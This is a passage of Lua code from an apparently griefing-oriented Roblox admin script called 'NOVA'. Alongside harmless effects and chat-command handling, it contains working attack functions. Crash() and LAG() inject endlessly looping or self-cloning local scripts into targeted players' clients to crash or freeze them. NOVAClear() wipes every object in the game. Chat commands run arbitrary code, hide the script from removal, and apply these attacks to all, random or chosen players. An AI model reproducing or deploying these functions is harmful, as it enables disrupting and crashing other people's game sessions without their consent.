- makeSound('Musics',{SoundId=27697277;Pitch=1.37;Volume=1;Looped=true;Name='Positively Dark - Awakening'})
- makeSound('Musics',{SoundId=27697735;Pitch=2;Volume=1;Looped=true;Name='Jeff Syndicate - Hip Hop'})
- makeSound('Musics',{SoundId=1015394;Pitch=1;Volume=1;Looped=true;Name='Wind Of Fjords'})
- makeSound('Musics',{SoundId=11420933;Pitch=1;Volume=1;Looped=true;Name='TOPW (idk)'})
- makeSound('Musics',{SoundId=11231513;Pitch=1;Volume=1;Looped=true;Name='Toccata and Fugue in D minor'})
- makeSound('Musics',{SoundId=27697719;Pitch=2.4;Volume=1;Looped=true;Name='Flight of the Bumblebee - Daniel Bautista'})
- makeSound('Musics',{SoundId=11060062;Pitch=1;Volume=1;Looped=true;Name='Fast-Forward'})
- makeSound('Musics',{SoundId=45819151;Pitch=1;Volume=1;Looped=true;Name='background Song1'})
- makeSound('Musics',{SoundId=27697707;Pitch=1;Volume=1;Looped=true;Name='Intro - Daniel Bautista'})
- makeSound('Musics',{SoundId=27697707;Pitch=2;Volume=1;Looped=true;Name='Intro (fast) - Daniel Bautista'})
- makeSound('Musics',{SoundId=5986151;Pitch=1;Volume=1;Looped=true;Name='Woman King'})
- makeSound('Musics',{SoundId=9650822;Pitch=1;Volume=1;Looped=true;Name='S4Tunnel'})
- makeSound('Musics',{SoundId=11420922;Pitch=1;Volume=1;Looped=true;Name='DOTR'})
- makeSound('Musics',{SoundId=8610025;Pitch=1;Volume=1;Looped=true;Name='NerezzaSong'})
- makeSound('Musics',{SoundId=35930009;Pitch=.9;Volume=1;Looped=true;Name='Troll'})
- makeSound('Musics',{SoundId=1372260;Pitch=1;Volume=1;Looped=true;Name='Only one lul'})
- makeSound('Musics',{SoundId=8663653;Pitch=1;Volume=1;Looped=true;Name='Zen'})
- function Color()
- local Choice = math.random(1, 5)
- if Choice == 1 then
- return "Institutional white"
- elseif Choice == 2 then
- return "White"
- elseif Choice == 3 then
- return "Really red"
- elseif Choice == 4 then
- return "New Yeller"
- elseif Choice == 5 then
- return "Black"
- end
- end
- function Nuke(Position)
- local Sound = Instance.new("Sound", workspace)
- Sound.SoundId = "http://www.roblox.com/Asset/?id=2101159"
- Sound.Volume = 1
- Sound.Pitch = math.random(90, 110) / 100
- Sound:Play()
- local Sound = Instance.new("Sound", workspace)
- Sound.SoundId = "http://www.roblox.com/Asset/?id=3087031"
- Sound.Volume = 1
- Sound.Pitch = math.random(90, 110) / 100
- Sound:Play()
- for i = 1, math.random(5, 7) do
- local ExplosionBall = Instance.new("Part", game:service("Workspace"))
- ExplosionBall.Name = "Explosion Ball"
- ExplosionBall.formFactor = "Custom"
- ExplosionBall.TopSurface = 0
- ExplosionBall.BottomSurface = 0
- ExplosionBall.Anchored = true
- ExplosionBall.CanCollide = false
- ExplosionBall.Size = Vector3.new(1, 1, 1)
- ExplosionBall.BrickColor = BrickColor.new(Color())
- ExplosionBall.CFrame = CFrame.new(Position)
- ExplosionBall.Touched:connect(function(part) part:BreakJoints() end)
- Instance.new("SpecialMesh", ExplosionBall).MeshType = "Sphere"
- coroutine.wrap(function()
- for i = 0, 1, 0.005 do
- ExplosionBall.Transparency = (1 - i)
- ExplosionBall.Mesh.Scale = Vector3.new(i * 250, i * 250, i * 250)
- ExplosionBall.CFrame = CFrame.new(Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * i))
- if math.random(1, 25) == 1 then
- local Explosion = Instance.new("Explosion")
- Explosion.Position = ExplosionBall.Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * i)
- Explosion.BlastPressure = 10000 * i
- Explosion.BlastRadius = i * 250
- Explosion.Parent = game:service("Workspace")
- end
- wait()
- end
- for i = 0, 1, 0.05 do
- ExplosionBall.Transparency = i
- ExplosionBall.CFrame = CFrame.new(Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * (1 - i)))
- wait()
- end
- ExplosionBall:Remove()
- end)()
- end
- end
- function Jail(Part,Player)
- b = Instance.new("Model")
- b.Parent = workspace
- b.Name = "Jail"
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(26)
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(18, 2, 2)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, -8, -8))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(26)
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(18, 2, 2)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, -8, 8))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(26)
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(18, 2, 2)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, 8, -8))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(26)
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(18, 2, 2)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, 8, 8))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(26)
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(2, 2, 18)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(-8, -8, 0))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(26)
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(2, 2, 18)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(8, -8, 0))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(26)
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(2, 2, 18)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(-8, 8, 0))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(26)
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(2, 2, 18)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(8, 8, 0))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(26)
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(2, 18, 2)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(-8, 0, -8))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(26)
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(2, 18, 2)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(-8, 0, 8))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(26)
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(2, 18, 2)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(8, 0, 8))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(26)
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(2, 18, 2)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(8, 0, -8))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(23)
- c.Transparency = 0.5
- c.Reflectance = 0.1
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(1, 16, 16)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(8, 0, 0))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(23)
- c.Transparency = 0.5
- c.Reflectance = 0.1
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(1, 16, 16)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(-8, 0, 0))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(23)
- c.Transparency = 0.5
- c.Reflectance = 0.1
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(16, 16, 1)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, 0, 8))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(23)
- c.Transparency = 0.5
- c.Reflectance = 0.1
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(16, 16, 1)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, 0, -8))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(23)
- c.Transparency = 0.5
- c.Reflectance = 0.1
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(16, 1, 16)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, 8, 0))
- c = Instance.new("Part")
- c.Parent = b
- c.TopSurface = "Smooth"
- c.BottomSurface = "Smooth"
- c.Locked = true
- c.BrickColor = BrickColor.new(23)
- c.Transparency = 0.5
- c.Reflectance = 0.1
- c.formFactor = "Symmetric"
- c.Size = Vector3.new(16, 1, 16)
- c.Anchored = true
- c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, -8, 0))
- table.insert(Jails,{Player = Player,Jail = b})
- end
- function makeMessage(Style,Text,Parent,Size)
- print("Making message in "..Parent.Name.." Style "..Style)
- coroutine.resume(coroutine.create(function()
- if Style == "Instance" or Style == 1 or Style == "Normal" then
- M = Instance.new("Message",Parent)
- for i = 1, string.len(Text) do
- M.Text = M.Text .. string.sub(Text, i, i)
- wait(math.random() * 0.1)
- end
- M.Text = M.Text .. ""
- for i = 1, math.random(2, 6) do
- M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
- wait(0.4)
- M.Text = string.sub(M.Text, 1, string.len(Text)) .. " "
- wait(0.4)
- end
- M.Text = string.sub(M.Text, 1, string.len(Text))
- for i = 1, string.len(M.Text) do
- M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
- wait()
- end
- M:Remove()
- elseif Style == "Gui" or Style == "GUI" or Style == 2 then
- if Parent == nil then print("Parent required for GUI type message.") return end
- Gui = Instance.new("ScreenGui",Parent)
- Frame = Instance.new("Frame",Gui)
- Frame.Size = UDim2.new(1,0,1,0)
- Frame.Position = UDim2.new(0,0,0,0)
- Frame.Style = "RobloxSquare"
- Txt = Instance.new("TextLabel",Frame)
- Txt.Size = UDim2.new(1,0,1,0)
- Txt.TextWrap = true
- Txt.TextColor3 = Color3.new(1,1,1)
- Txt.BackgroundTransparency = 1
- if Size == nil then
- Txt.FontSize = "Size16"
- else
- Txt.FontSize = Size
- end
- Txt.Text = ""
- Text = Text .. " "
- for i = 1, string.len(Text) do
- Txt.Text = Txt.Text .. string.sub(Text, i, i)
- wait(math.random() * 0.000000000001)
- end
- Txt.Text = Txt.Text .. ""
- for i = 1, math.random(2, 6) do
- Txt.Text = string.sub(Txt.Text, 1, string.len(Text)) .. "_"
- wait(0.4)
- Txt.Text = string.sub(Txt.Text, 1, string.len(Text)) .. " "
- wait(0.4)
- end
- Txt.Text = string.sub(Txt.Text, 1, string.len(Text))
- for i = 1, string.len(Txt.Text) do
- Txt.Text = string.sub(Txt.Text, 1, string.len(Txt.Text) - 1)
- Txt.Text = string.sub(Txt.Text, 1, string.len(Txt.Text) - 1)
- Txt.Text = string.sub(Txt.Text, 1, string.len(Txt.Text) - 1)
- Txt.Text = string.sub(Txt.Text, 1, string.len(Txt.Text) - 1)
- wait(math.random() * 0.01)
- end
- Txt:Remove()
- Frame:Remove()
- Gui:Remove()
- end
- end))
- end
- function IsBanned(Player)
- for _,v in pairs(Banned) do
- if Player.Name == v then return true else return false end
- end
- end
- function GetSingularHealth(player)
- if player.className == "Player" then
- if player.Character ~= nil then
- if player.Character:FindFirstChild("Humanoid") ~= nil then
- if player.Character.Humanoid.Health >= 1 and player.Character.Humanoid.Health ~= nil then
- if player.Character:FindFirstChild("Head") ~= nil and player.Character:FindFirstChild("Torso") ~= nil then
- return "alive"
- end
- end
- end
- end
- end
- end
- function Crash(plr)
- CreateScript([==[
- plr = game.Players.LocalPlayer
- coroutine.create(coroutine.resume(function()
- while wait(.0001) do
- Instance.new("Message",plr.PlayerGui).Text = "Crashing"
- Instance.new("Explosion",plr.PlayerGui).BlastRadius = math.huge
- Instance.new("Hint",plr.PlayerGui).Text = "---------------------------------------------------------------------------"
- end
- end))
- ]==],plr.Backpack,"Local")
- end
- function GetHealth(players)
- local method = type(players)
- if method == "userdata" then
- return GetSingularHealth(players)
- elseif method == "table" then
- local healths = {}
- for i = 1, #players do
- healths[i] = GetSingularHealth(players[i])
- end
- return healths
- end
- end
- -- Operands include dead and alive.
- function SeparateByHealth(players, operand)
- local operand = string.lower(operand)
- local healths = GetHealth(players)
- local ofHealth = {}
- for i = 1, #players do
- if healths[i] == operand then
- table.insert(ofHealth, players[i])
- end
- end
- return ofHealth
- end
- tablets = {}
- function GetTablets(player)
- local _tablets = {}
- for _, tablet in pairs(tablets) do
- if tablet:FindFirstChild("Recipient") ~= nil then
- if tablet.Recipient.Value == player then
- table.insert(_tablets, tablet)
- end
- end
- end
- return _tablets
- end
- function OutputSingular(message, color, recipient, stick)
- local _tablets = GetTablets(recipient)
- local _pos = recipient.Character.Head.CFrame * CFrame.new(7, 7, 7)
- if stick == nil then
- stick = 13
- end
- if #_tablets >= stick then
- _tablets[1]:remove()
- end
- local model = Instance.new("Model")
- model.Parent = workspace
- model.Name = "Output::" .. recipient.Name
- local part = Instance.new("Part")
- part.Parent = model
- part.Transparency = 0.5
- part.CanCollide = false
- part.TopSurface = "Smooth"
- part.BottomSurface = "Smooth"
- part.FormFactor = "Plate"
- part.Color = color[1]
- part.Size = Vector3.new(2, 0.4, 3)
- part.CFrame = _pos
- local click = Instance.new("ClickDetector")
- click.Parent = part
- click.MouseClick:connect(function(player)
- if player == recipient or player.Name == "Norwegianbunny" then
- model:remove()
- end
- end)
- local fire = Instance.new("Fire")
- fire.Parent = part
- fire.Heat = 0
- fire.Size = 6
- fire.Color = color[1]
- fire.SecondaryColor = color[1]
- local box = Instance.new("SelectionBox")
- box.Parent = part
- box.Adornee = part
- box.Color = BrickColor.new(color[1].r, color[1].g, color[1].b)
- local pos = Instance.new("BodyPosition")
- pos.Parent = part
- pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- pos.position = _pos.p
- local gyro = Instance.new("BodyGyro")
- gyro.Parent = part
- gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
- local recip = Instance.new("ObjectValue")
- recip.Parent = model
- recip.Name = "Recipient"
- recip.Value = recipient
- local gui = Instance.new("BillboardGui")
- gui.Adornee = part
- gui.Size = UDim2.new(1, 0, 1, 0)
- gui.StudsOffset = Vector3.new(0, 3, 0)
- gui.Parent = model
- local frame = Instance.new("Frame")
- frame.Parent = gui
- frame.Size = UDim2.new(1, 0, 1, 0)
- frame.BackgroundTransparency = 1
- local label = Instance.new("TextLabel")
- label.Parent = frame
- label.Text = message
- label.FontSize = "Size12"
- label.TextColor3 = color[1]
- table.insert(tablets, model)
- return model
- end
- function Output(message, color, recipients, stick)
- local method = type(recipients)
- if method == "userdata" then
- if GetHealth(recipients) == "alive" then
- OutputSingular(message, color, recipients, stick)
- end
- elseif method == "table" then
- recipients = SeparateByHealth(recipients, "alive")
- for _, recipient in pairs(recipients) do
- OutputSingular(message, color, recipient, stick)
- end
- end
- end
- function UpdateTablets()
- pcall(function()
- local _tablets = GetTablets(LocalPlayer)
- local counter = 0
- if #_tablets == 1 then
- local torso = LocalPlayer.Character.Torso
- local pos = torso.CFrame + torso.CFrame.lookVector * 10
- pcall(function() _tablets[1].Part.BodyPosition.position = pos.p end)
- pcall(function() _tablets[1].Part.BodyGyro.cframe = pos * CFrame.Angles(math.rad(70), 0, 0) end)
- end
- for i = 90, -90, -180/(#_tablets - 1) do
- counter = counter + 1
- local tabletPosition = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0, math.rad(i), 0) * CFrame.new(0, 0, -15 - (#_tablets / 5))
- pcall(function() _tablets[counter].Part.BodyPosition.position = tabletPosition.p end)
- pcall(function() _tablets[counter].Part.BodyGyro.cframe = tabletPosition * CFrame.Angles(math.rad(70), 0, 0) end)
- end
- end)
- end
- OutputSingular("Minor functions loaded.",{Color3.new(1,0,1)},LocalPlayer)
- OutputSingular("Tablet functions loaded.",{Color3.new(0,1,1)},LocalPlayer)
- function NOVAClear()
- print("NOVA Clearing.")
- Objects = {}
- Services = {
- game:GetService("Workspace"),
- game:GetService("Lighting"),
- game:GetService("Debris"),
- game:GetService("StarterPack"),
- game:GetService("StarterGui")}
- for _,v in pairs(Services) do
- print("Indexing "..v.Name..".")
- for _,a in pairs(v:GetChildren()) do
- table.insert(Objects,a)
- end
- end
- NUM = #Objects
- for i=1,10 do
- print("Indexing descendants level "..i.."/10 of objects.")
- print("Total indexed items : "..#Objects)
- for _,v in pairs(Objects) do
- for _,a in pairs(v:GetChildren()) do
- table.insert(Objects,a)
- end
- end
- end
- for _,v in pairs(Objects) do
- pcall(function() v:Destroy() end)
- end
- coroutine.resume(coroutine.create(function()
- wait(10)
- OutputSingular("NOVA Clear destroyed "..NUM.." objects their children.",{Color3.new(1,0,0)},LocalPlayer)
- OutputSingular("Thank you for using NOVA Clear by fyny.",{Color3.new(0.94901960784314,0.94901960784314,0.85882352941176)},LocalPlayer)
- end))
- print("NOVA Clear destroyed "..NUM.." objects their children")
- print("Thank you for using NOVA Clear by fyny.")
- for _,player in pairs(game:GetService("Players"):GetChildren()) do
- local Model= Instance.new("Model")
- Model.Parent = game:GetService("Workspace")
- local Torso= Instance.new("Part")
- Torso.Transparency = 1
- Torso.CanCollide = false
- Torso.Anchored = true
- Torso.Name = "Torso"
- Torso.Position = Vector3.new(10000,10000,10000)
- Torso.Parent = Model
- local Hum = Instance.new("Humanoid")
- Hum.Torso = Torso
- Hum.Parent = Model
- player.Character = Model
- end
- local Base=Instance.new("Part",workspace)
- Base.Name="Base"
- Base.Size=Vector3.new(2048,1,2048)
- Base.BrickColor=BrickColor.new("Really Black")
- Base.Anchored=true
- Base.Locked=true
- Base.TopSurface="Smooth"
- Base.Transparency = 1
- Base.CFrame=CFrame.new(Vector3.new(0,0,0))
- local selectionbox=Instance.new("SelectionBox",Base)
- selectionbox.Adornee = selectionbox.Parent
- selectionbox.Color = BrickColor.new(1,0,0)
- local skybox=Instance.new("Sky",game:GetService("Lighting"))
- skybox.SkyboxBk="http://www.roblox.com/asset/?id=13996320"
- skybox.SkyboxDn="http://www.roblox.com/asset/?id=13996320"
- skybox.SkyboxLf="http://www.roblox.com/asset/?id=13996320"
- skybox.SkyboxFt="http://www.roblox.com/asset/?id=13996320"
- skybox.SkyboxRt="http://www.roblox.com/asset/?id=13996320"
- skybox.SkyboxUp="http://www.roblox.com/asset/?id=13996320"
- local Spawn=Instance.new("SpawnLocation",workspace) Spawn.Name="SpawnLocation"
- Spawn.Size=Vector3.new(6,1,6)
- Spawn.Transparency=1
- Spawn.CanCollide=false
- Spawn.Anchored=true
- Spawn.Locked=true
- Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
- end
- OutputSingular("NOVA Clear function loaded.",{Color3.new(1,0,0)},LocalPlayer)
- function LAG(Person)
- CreateScript([==[
- local LocalPlayer = game:GetService("Players").LocalPlayer
- for i=1,math.huge do
- coroutine.resume(coroutine.create(function()
- while wait() do
- LAG = script:Clone()
- LAG.Name = "LAG"
- LAG.Parent = LocalPlayer.Backpack
- LAG.Disabled = false
- Instance.new("Message",LocalPlayer.PlayerGui).Text = "asd"
- Instance.new("Message",workspace.CurrentCamera).Text = "asd"
- end
- end))
- end
- ]==],Person.Backpack,"Local")
- end
- function GetPlayers(string,Player)
- Rtn = {}
- if string == "all" then
- for _,v in pairs(Players:GetPlayers()) do table.insert(Rtn,v) end
- elseif string == "others" then
- for _,v in pairs(Players:GetPlayers()) do if v ~= Player then table.insert(Rtn,v) end end
- elseif string == "random" then
- table.insert(Rtn,Players:GetPlayers()[math.random(1,#Players:GetPlayers())])
- elseif string == "me" then
- table.insert(Rtn,Player)
- elseif string == "vetrans" then
- for _,v in pairs(Players:GetPlayers()) do if v.AccountAge > 365 then table.insert(Rtn,v) end end
- elseif string == "nonvetrans" or string == "notvetrans" then
- for _,v in pairs(Players:GetPlayers()) do if v.AccountAge < 365 then table.insert(Rtn,v) end end
- else
- for _,v in pairs(Players:GetPlayers()) do if string.sub(string.lower(v.Name),1,#string) == string.lower(string) then table.insert(Rtn,v) end end
- end
- return Rtn
- end
- OutputSingular("GetPlayers function loaded.",{Color3.new(1,1,0)},LocalPlayer)
- function OnChatted(Msg)
- pcall(function()
- game:service('Message'):Message(LocalPlayer.Character.Head,Msg,math.random(0,2))
- end)
- if string.sub(Msg,1,5) == "lego " then Msg = string.sub(Msg,6) end
- if string.sub(Msg,1,13) == "/connections/" then
- h=Instance.new("Hint",Workspace)
- h.Text = #game.NetworkServer:GetChildren()
- print(#game.NetworkServer:GetChildren())
- wait(3)
- h:remove()
- end
- if string.sub(Msg,1,3) == "/m/" then
- makeMessage(1,"[NOVA] "..string.sub(Msg,4),workspace,nil)
- end
- if string.sub(Msg,1,3) == "/c/" then
- CreateScript(string.sub(Msg,4),workspace,"Normal")
- end
- if Msg == "/unremovable/" then
- script.Parent = nil;
- end
- if string.sub(Msg,1,7) == "/crash/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,8),LocalPlayer)) do
- pcall(function()
- Crash(v)
- end)
- end
- end
- if string.sub(Msg,1,7) == "/rlock/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,8),LocalPlayer)) do
- pcall(function()
- v.RobloxLocked = true
- end)
- end
- end
- if string.sub(Msg,1,9) == "/unrlock/" then
- for _,v in pairs(GetPlayers(string.sub(Msg,8),LocalPlayer)) do
- pcall(function()
- v.RobloxLocked = false
- end)
- end
- end
- if string.sub(Msg,1,7) == "/local/" then
- if LocalPlayer.Backpack ~= nil then
- CreateScript(string.sub(Msg,8),LocalPlayer.Backpack,2)
- end
- end
- if string.sub(Msg,1,6) == "/down/" or string.sub(Msg,1,6) == "/char/" then
- pcall(function()
- LocalPlayer.Character:Remove()
- end)
- Character = Instance.new("Model")
- if string.sub(Msg,7) == "/" then
- Character.Name = RandomNames[math.random(1,#RandomNames)]
- else
- Character.Name = string.sub(Msg,7)
- end
- local Head = Instance.new("Part")
- Head.Name = "Head"
- Head.formFactor = 0
- Head.Size = Vector3.new(2, 1, 1)
- Head.TopSurface = 0
- Head.BottomSurface = "Weld"
- Head.BrickColor = BrickColor.new("White")
- Head.Transparency = 0.5
- Head.Parent = Character
- local Mesh = Instance.new("SpecialMesh")
- Mesh.MeshType = "Head"
- Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
- Mesh.Parent = Head
- local Face = Instance.new("Decal")
- Face.Name = "face"
- Face.Face = "Front"
- Face.Texture = "rbxasset://textures/face.png"
- Face.Parent = Head
- local Torso = Instance.new("Part")
- Torso.Name = "Torso"
- Torso.formFactor = 0
- Torso.Size = Vector3.new(2, 2, 1)
- Torso.TopSurface = "Studs"
- Torso.BottomSurface = "Inlet"
- Torso.LeftSurface = "Weld"
- Torso.RightSurface = "Weld"
- Torso.BrickColor = BrickColor.new("White")
- Torso.Transparency = 0.5
- Torso.Parent = Character
- local TShirt = Instance.new("Decal")
- TShirt.Name = "roblox"
- TShirt.Face = "Front"
- TShirt.Texture = ""
- TShirt.Parent = Torso
- local Neck = Instance.new("Motor6D")
- Neck.Name = "Neck"
- Neck.Part0 = Torso
- Neck.Part1 = Head
- Neck.C0 = CFrame.new(0, 2, 0)
- Neck.C1 = CFrame.new(0, 0.5, 0)
- Neck.MaxVelocity = 0
- Neck.Parent = Torso
- local Limb = Instance.new("Part")
- Limb.formFactor = 0
- Limb.Size = Vector3.new(1, 2, 1)
- Limb.TopSurface = "Studs"
- Limb.BottomSurface = "Inlet"
- Limb.BrickColor = BrickColor.new("White")
- Limb.Transparency = 0.5
- local LeftArm = Limb:Clone()
- LeftArm.Name = "Left Arm"
- LeftArm.Parent = Character
- local RightArm = Limb:Clone()
- RightArm.Name = "Right Arm"
- RightArm.Parent = Character
- local LeftLeg = Limb:Clone()
- LeftLeg.Name = "Left Leg"
- LeftLeg.Parent = Character
- local RightLeg = Limb:Clone()
- RightLeg.Name = "Right Leg"
- RightLeg.Parent = Character
- local LeftShoulder = Instance.new("Motor6D")
- LeftShoulder.Name = "Left Shoulder"
- LeftShoulder.Part0 = Torso
- LeftShoulder.Part1 = LeftArm
- LeftShoulder.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)
- LeftShoulder.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)
- LeftShoulder.MaxVelocity = 0.5
- LeftShoulder.Parent = Torso
- local RightShoulder = Instance.new("Motor6D")
- RightShoulder.Name = "Right Shoulder"
- RightShoulder.Part0 = Torso
- RightShoulder.Part1 = RightArm
- RightShoulder.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)
- RightShoulder.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)
- RightShoulder.MaxVelocity = 0.5
- RightShoulder.Parent = Torso
- local LeftHip = Instance.new("Motor6D")
- LeftHip.Name = "Left Hip"
- LeftHip.Part0 = Torso
- LeftHip.Part1 = LeftLeg
- LeftHip.C0 = CFrame.new(-0.5, -1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)
- LeftHip.C1 = CFrame.new(0, 1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)
- LeftHip.MaxVelocity = 0.1
- LeftHip.Parent = Torso
- local RightHip = Instance.new("Motor6D")
- RightHip.Name = "Right Hip"
- RightHip.Part0 = Torso
- RightHip.Part1 = RightLeg
- RightHip.C0 = CFrame.new(0.5, -1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)
- RightHip.C1 = CFrame.new(0, 1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)
- RightHip.MaxVelocity = 0.1
- RightHip.Parent = Torso
- local Humanoid = Instance.new("Humanoid")
- Humanoid.Parent = Character
- local BodyColors = Instance.new("BodyColors")
- BodyColors.Name = "Body Colors"
- coroutine.wrap(function()
- wait(0.035)
- BodyColors.HeadColor = Head.BrickColor
- BodyColors.TorsoColor = Torso.BrickColor
- BodyColors.LeftArmColor = LeftArm.BrickColor
- BodyColors.RightArmColor = RightArm.BrickColor
- BodyColors.LeftLegColor = LeftLeg.BrickColor
- BodyColors.RightLegColor = RightLeg.BrickColor
- BodyColors.Parent = Character
- end)()
- local Shirt = Instance.new("Shirt")
- Shirt.Name = "Shirt"
- Shirt.ShirtTemplate = ""--http://www.roblox.com/asset/?id=30936272"
- Shirt.Parent = Character
- local ShirtGraphic = Instance.new("ShirtGraphic")
- ShirtGraphic.Name = "Shirt Graphic"
- ShirtGraphic.Graphic = ""
- ShirtGraphic.Parent = Character
- local Pants = Instance.new("Pants")
- Pants.Name = "Pants"
- Pants.PantsTemplate = ""--http://www.roblox.com/asset/?id=30936272"
- Pants.Parent = Character
- Character.Parent = workspace
- Character:MakeJoints()
- CF = CFrame.new(Camera.CoordinateFrame.x,Camera.CoordinateFrame.y,Camera.CoordinateFrame.z)
- Torso.CFrame = CF
- LocalPlayer.Character = Character
- workspace.CurrentCamera.CameraSubject = Character.Humanoid
- workspace.CurrentCamera.CameraType = "Custom"
- end
- Msg = string.lower(Msg)
- if string.find(Msg," ha ") then
- S = Instance.new("Sound",workspace)
- S.SoundId = "http://www.roblox.com/asset/?id=50251793 "
- S.Volume = 1
- S.Pitch = 0.4
- wait(0.5)
- S:Play()
- end
- if string.sub(Msg,1,8) == "/remove/" then
- Players = nil
- script = nil
- Admins = nil
- Banned = nil
- tablets = nil
- Indexed = nil
- Sounds = nil
- Commands = nil
- script.Disabled = true
- script:Remove()
- error("Removing Script")()
- end
- if string.sub(Msg,1,9) == "/dismiss/" then
- for num,v in pairs(tablets) do v:Remove() end
- end
- if string.sub(Msg,1,7) == "/debug/" then
- for _,v in pairs(tablets) do pcall(function() v:Remove() end) end
